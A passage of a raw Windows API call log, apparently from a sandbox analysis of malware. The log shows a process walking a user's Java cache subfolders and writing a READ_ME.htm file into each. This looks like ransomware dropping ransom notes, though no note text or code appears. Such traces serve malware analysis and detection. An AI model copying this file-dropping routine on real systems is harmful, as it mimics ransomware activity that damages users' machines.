lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\14\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\locallow\\sun\\java\\deployment\\cache\\6.0\\14\\*"), lpFindFileData=0x21cd70 | out: lpFindFileData=0x21cd70*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e1d520, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e1d520, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e1d520, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0147.515] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0147.516] SetErrorMode (uMode=0x0) returned 0x1 [0147.516] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\14\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21ca70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\14\\READ_ME.htm", lpFilePart=0x0) returned 0x50 [0147.516] SetErrorMode (uMode=0x1) returned 0x0 [0147.516] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\14\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\appdata\\locallow\\sun\\java\\deployment\\cache\\6.0\\14\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0147.531] SetErrorMode (uMode=0x0) returned 0x1 [0147.531] GetFileType (hFile=0x1d0) returned 0x1 [0147.531] WriteFile (in: hFile=0x1d0, lpBuffer=0x2957608*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21cfd8, lpOverlapped=0x0 | out: lpBuffer=0x2957608*, lpNumberOfBytesWritten=0x21cfd8*=0x720, lpOverlapped=0x0) returned 1 [0147.533] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\15", nBufferLength=0x105, lpBuffer=0x21cbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\15", lpFilePart=0x0) returned 0x44 [0147.533] SetErrorMode (uMode=0x1) returned 0x0 [0147.534] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\15\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\locallow\\sun\\java\\deployment\\cache\\6.0\\15\\*"), lpFindFileData=0x21cd70 | out: lpFindFileData=0x21cd70*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e1d520, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e1d520, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e1d520, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0147.534] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0147.534] SetErrorMode (uMode=0x0) returned 0x1 [0147.534] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\15", nBufferLength=0x105, lpBuffer=0x21cbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\15", lpFilePart=0x0) returned 0x44 [0147.535] SetErrorMode (uMode=0x1) returned 0x0 [0147.535] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\15\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\locallow\\sun\\java\\deployment\\cache\\6.0\\15\\*"), lpFindFileData=0x21cd70 | out: lpFindFileData=0x21cd70*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e1d520, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e1d520, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e1d520, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0147.535] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0147.535] SetErrorMode (uMode=0x0) returned 0x1 [0147.535] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\15\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21ca70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\15\\READ_ME.htm", lpFilePart=0x0) returned 0x50 [0147.535] SetErrorMode (uMode=0x1) returned 0x0 [0147.535] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\15\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\appdata\\locallow\\sun\\java\\deployment\\cache\\6.0\\15\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0147.536] SetErrorMode (uMode=0x0) returned 0x1 [0147.536] GetFileType (hFile=0x1d0) returned 0x1 [0147.536] WriteFile (in: hFile=0x1d0, lpBuffer=0x295d500*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21cfd8, lpOverlapped=0x0 | out: lpBuffer=0x295d500*, lpNumberOfBytesWritten=0x21cfd8*=0x720, lpOverlapped=0x0) returned 1 [0147.538] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\16", nBufferLength=0x105, lpBuffer=0x21cbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\16", lpFilePart=0x0) returned 0x44 [0147.538] SetErrorMode (uMode=0x1) returned 0x0 [0147.538] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\16\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\locallow\\sun\\java\\deployment\\cache\\6.0\\16\\*"), lpFindFileData=0x21cd70 | out: lpFindFileData=0x21cd70*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e1d520, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e1d520, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e1d520, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0147.539] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0147.539] SetErrorMode (uMode=0x0) returned 0x1 [0147.539] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\16", nBufferLength=0x105, lpBuffer=0x21cbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\16", lpFilePart=0x0) returned 0x44 [0147.539] SetErrorMode (uMode=0x1) returned 0x0 [0147.539] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\16\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\locallow\\sun\\java\\deployment\\cache\\6.0\\16\\*"), lpFindFileData=0x21cd70 | out: lpFindFileData=0x21cd70*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e1d520, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e1d520, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e1d520, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0147.540] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0147.540] SetErrorMode (uMode=0x0) returned 0x1 [0147.540] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\16\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21ca70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\16\\READ_ME.htm", lpFilePart=0x0) returned 0x50 [0147.540] SetErrorMode (uMode=0x1) returned 0x0 [0147.540] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\16\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\appdata\\locallow\\sun\\java\\deployment\\cache\\6.0\\16\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0147.541] SetErrorMode (uMode=0x0) returned 0x1 [0147.541] GetFileType (hFile=0x1d0) returned 0x1 [0147.541] WriteFile (in: hFile=0x1d0, lpBuffer=0x29633f8*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21cfd8, lpOverlapped=0x0 | out: lpBuffer=0x29633f8*, lpNumberOfBytesWritten=0x21cfd8*=0x720, lpOverlapped=0x0) returned 1 [0147.542] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\17", nBufferLength=0x105, lpBuffer=0x21cbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\17", lpFilePart=0x0) returned 0x44 [0147.542] SetErrorMode (uMode=0x1) returned 0x0 [0147.543] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\17\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\locallow\\sun\\java\\deployment\\cache\\6.0\\17\\*"), lpFindFileData=0x21cd70 | out: lpFindFileData=0x21cd70*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e1d520, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e1d520, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e1d520, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0147.543] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0147.543] SetErrorMode (uMode=0x0) returned 0x1 [0147.543] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\17", nBufferLength=0x105, lpBuffer=0x21cbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\17", lpFilePart=0x0) returned 0x44 [0147.543] SetErrorMode (uMode=0x1) returned 0x0 [0147.544] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\17\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\locallow\\sun\\java\\deployment\\cache\\6.0\\17\\*"), lpFindFileData=0x21cd70 | out: lpFindFileData=0x21cd70*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e1d520, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e1d520, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e1d520, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0147.544] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0147.544] SetErrorMode (uMode=0x0) returned 0x1 [0147.544] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\17\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21ca70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\17\\READ_ME.htm", lpFilePart=0x0) returned 0x50 [0147.544] SetErrorMode (uMode=0x1) returned 0x0 [0147.544] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\17\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\appdata\\locallow\\sun\\java\\deployment\\cache\\6.0\\17\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0147.545] SetErrorMode (uMode=0x0) returned 0x1 [0147.545] GetFileType (hFile=0x1d0) returned 0x1 [0147.545] WriteFile (in: hFile=0x1d0, lpBuffer=0x29692f0*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21cfd8, lpOverlapped=0x0 | out: lpBuffer=0x29692f0*, lpNumberOfBytesWritten=0x21cfd8*=0x720, lpOverlapped=0x0) returned 1 [0147.545] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\18", nBufferLength=0x105, lpBuffer=0x21cbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\18", lpFilePart=0x0) returned 0x44 [0147.546] SetErrorMode (uMode=0x1) returned 0x0 [0147.546] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\18\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\locallow\\sun\\java\\deployment\\cache\\6.0\\18\\*"), lpFindFileData=0x21cd70 | out: lpFindFileData=0x21cd70*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e1d520, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e1d520, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e1d520, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0147.546] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0147.546] SetErrorMode (uMode=0x0) returned 0x1 [0147.546] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\18", nBufferLength=0x105, lpBuffer=0x21cbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\18", lpFilePart=0x0) returned 0x44 [0147.547] SetErrorMode (uMode=0x1) returned 0x0 [0147.547] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\18\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\locallow\\sun\\java\\deployment\\cache\\6.0\\18\\*"), lpFindFileData=0x21cd70 | out: lpFindFileData=0x21cd70*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e1d520, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e1d520, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e1d520, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0147.547] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0147.547] SetErrorMode (uMode=0x0) returned 0x1 [0147.547] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\18\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21ca70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\18\\READ_ME.htm", lpFilePart=0x0) returned 0x50 [0147.547] SetErrorMode (uMode=0x1) returned 0x0 [0147.547] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\18\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\appdata\\locallow\\sun\\java\\deployment\\cache\\6.0\\18\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0147.550] SetErrorMode (uMode=0x0) returned 0x1 [0147.550] GetFileType (hFile=0x1d0) returned 0x1 [0147.550] WriteFile (in: hFile=0x1d0, lpBuffer=0x296f1e8*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21cfd8, lpOverlapped=0x0 | out: lpBuffer=0x296f1e8*, lpNumberOfBytesWritten=0x21cfd8*=0x720, lpOverlapped=0x0) returned 1 [0147.551] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\19", nBufferLength=0x105, lpBuffer=0x21cbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\19", lpFilePart=0x0) returned 0x44 [0147.551] SetErrorMode (uMode=0x1) returned 0x0 [0147.552] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\19\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\locallow\\sun\\java\\deployment\\cache\\6.0\\19\\*"), lpFindFileData=0x21cd70 | out: lpFindFileData=0x21cd70*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e1d520, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e1d520, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e1d520, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0147.552] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0147.552] SetErrorMode (uMode=0x0) returned 0x1 [0147.552] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\19", nBufferLength=0x105, lpBuffer=0x21cbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\19", lpFilePart=0x0) returned 0x44 [0147.552] SetErrorMode (uMode=0x1) returned 0x0 [0147.552] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\19\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\locallow\\sun\\java\\deployment\\cache\\6.0\\19\\*"), lpFindFileData=0x21cd70 | out: lpFindFileData=0x21cd70*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e1d520, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e1d520, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e1d520, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0147.553] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0147.553] SetErrorMode (uMode=0x0) returned 0x1 [0147.553] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\19\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21ca70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\19\\READ_ME.htm", lpFilePart=0x0) returned 0x50 [0147.553] SetErrorMode (uMode=0x1) returned 0x0 [0147.553] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\19\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\appdata\\locallow\\sun\\java\\deployment\\cache\\6.0\\19\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0147.554] SetErrorMode (uMode=0x0) returned 0x1 [0147.554] GetFileType (hFile=0x1d0) returned 0x1 [0147.554] WriteFile (in: hFile=0x1d0, lpBuffer=0x29750e0*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21cfd8, lpOverlapped=0x0 | out: lpBuffer=0x29750e0*, lpNumberOfBytesWritten=0x21cfd8*=0x720, lpOverlapped=0x0) returned 1 [0147.555] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\2", nBufferLength=0x105, lpBuffer=0x21cbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\2", lpFilePart=0x0) returned 0x43 [0147.555] SetErrorMode (uMode=0x1) returned 0x0 [0147.555] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\2\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\locallow\\sun\\java\\deployment\\cache\\6.0\\2\\*"), lpFindFileData=0x21cd70 | out: lpFindFileData=0x21cd70*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e1d520, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e1d520, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e1d520, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0147.556] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0147.556] SetErrorMode (uMode=0x0) returned 0x1 [0147.556] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\2", nBufferLength=0x105, lpBuffer=0x21cbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\2", lpFilePart=0x0) returned 0x43 [0147.556] SetErrorMode (uMode=0x1) returned 0x0 [0147.556] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\2\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\locallow\\sun\\java\\deployment\\cache\\6.0\\2\\*"), lpFindFileData=0x21cd70 | out: lpFindFileData=0x21cd70*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e1d520, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e1d520, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e1d520, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0147.557] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0147.557] SetErrorMode (uMode=0x0) returned 0x1 [0147.557] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\2\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21ca70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\2\\READ_ME.htm", lpFilePart=0x0) returned 0x4f [0147.557] SetErrorMode (uMode=0x1) returned 0x0 [0147.557] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\2\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\appdata\\locallow\\sun\\java\\deployment\\cache\\6.0\\2\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0147.558] SetErrorMode (uMode=0x0) returned 0x1 [0147.558] GetFileType (hFile=0x1d0) returned 0x1 [0147.558] WriteFile (in: hFile=0x1d0, lpBuffer=0x297afa8*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21cfd8, lpOverlapped=0x0 | out: lpBuffer=0x297afa8*, lpNumberOfBytesWritten=0x21cfd8*=0x720, lpOverlapped=0x0) returned 1 [0147.559] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\20", nBufferLength=0x105, lpBuffer=0x21cbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\20", lpFilePart=0x0) returned 0x44 [0147.559] SetErrorMode (uMode=0x1) returned 0x0 [0147.559] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\20\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\locallow\\sun\\java\\deployment\\cache\\6.0\\20\\*"), lpFindFileData=0x21cd70 | out: lpFindFileData=0x21cd70*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e1d520, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e1d520, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e1d520, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0147.573] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0147.574] SetErrorMode (uMode=0x0) returned 0x1 [0147.574] 